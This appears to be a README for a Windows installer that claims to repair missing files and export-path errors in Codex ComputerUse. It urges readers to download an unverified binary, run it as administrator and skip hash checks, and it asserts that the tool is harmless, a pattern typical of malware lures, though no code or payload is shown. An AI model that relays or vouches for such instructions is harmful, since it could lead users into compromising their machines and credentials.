This tool fixes errors related to missing files and export mismatches for Codex ComputerUse on Windows systems. It restores the functionality of your Codex environment without requiring manual code changes or complex configuration.
The software targets two specific problems found in Windows Codex installations. It corrects the “openai-bundled” missing error and updates @oai/sky export paths. These issues prevent the software from starting correctly on Windows desktop environments. This tool automates the scan and repair process to restore full system operation.
You need to download the installer from the release page.
Visit this page to download the latest version
Follow these steps to run the repair tool on your computer.
The application performs a series of background tasks to ensure your Codex setup matches standard requirements.
First, it checks your current installation directory. It looks for the bundled OpenAI files that often go missing during the initial setup process. If the tool finds these files missing, it extracts fresh copies from the internal archive and places them in the correct location.
Second, the tool scans your environment configurations for the @oai/sky library. It identifies mismatched export paths that occur due to Windows file path formatting differences. It overwrites these paths with the correct syntax to ensure your system can communicate with the software components without errors.
Finally, the tool verifies the file integrity by running a self-test of the repaired components. This confirms the environment is ready for you to resume your work.
If the tool does not work, perform these checks to resolve common errors.
Ensure you have the latest version of PowerShell installed. You can check this by typing powershell into your search bar and looking for version number 5.1 or higher in the header. If you see an older version, update your operating system through the Windows Update settings.
You must run the tool as an administrator. Right-click the icon and choose “Run as administrator” even if you are logged into an admin account. Windows restricts programs from touching application folders unless you explicitly confirm this choice.
If the status window reports success but your Codex application still fails to start, verify your install path. The repair tool identifies common locations automatically. If you installed your Codex environment in a custom folder far from the default path, the tool might fail to locate the files. Move your environment back to the recommended drive or default folder structure and run the repair utility once more.
This repair tool performs local operations only. It does not send your data, login tokens, or system files to external servers. All modifications happen on your local hard drive.
The software contains no malicious code or tracking scripts. It only modifies requested internal files to correct the specific export mismatches defined in the project description. You can verify the integrity of the downloaded file by comparing the hash if you prefer, though this is not required for daily use.
This project aims to provide a simple solution for Windows users. If you encounter bugs, open a new issue on the repository page. Provide a screenshot of the status window and note your version of Windows. This helps the team understand if new updates change how files are handled.
Avoid sharing sensitive information like API keys or personal configuration details when reporting errors. Keep your descriptions focused on the error messages that appear in the repair window.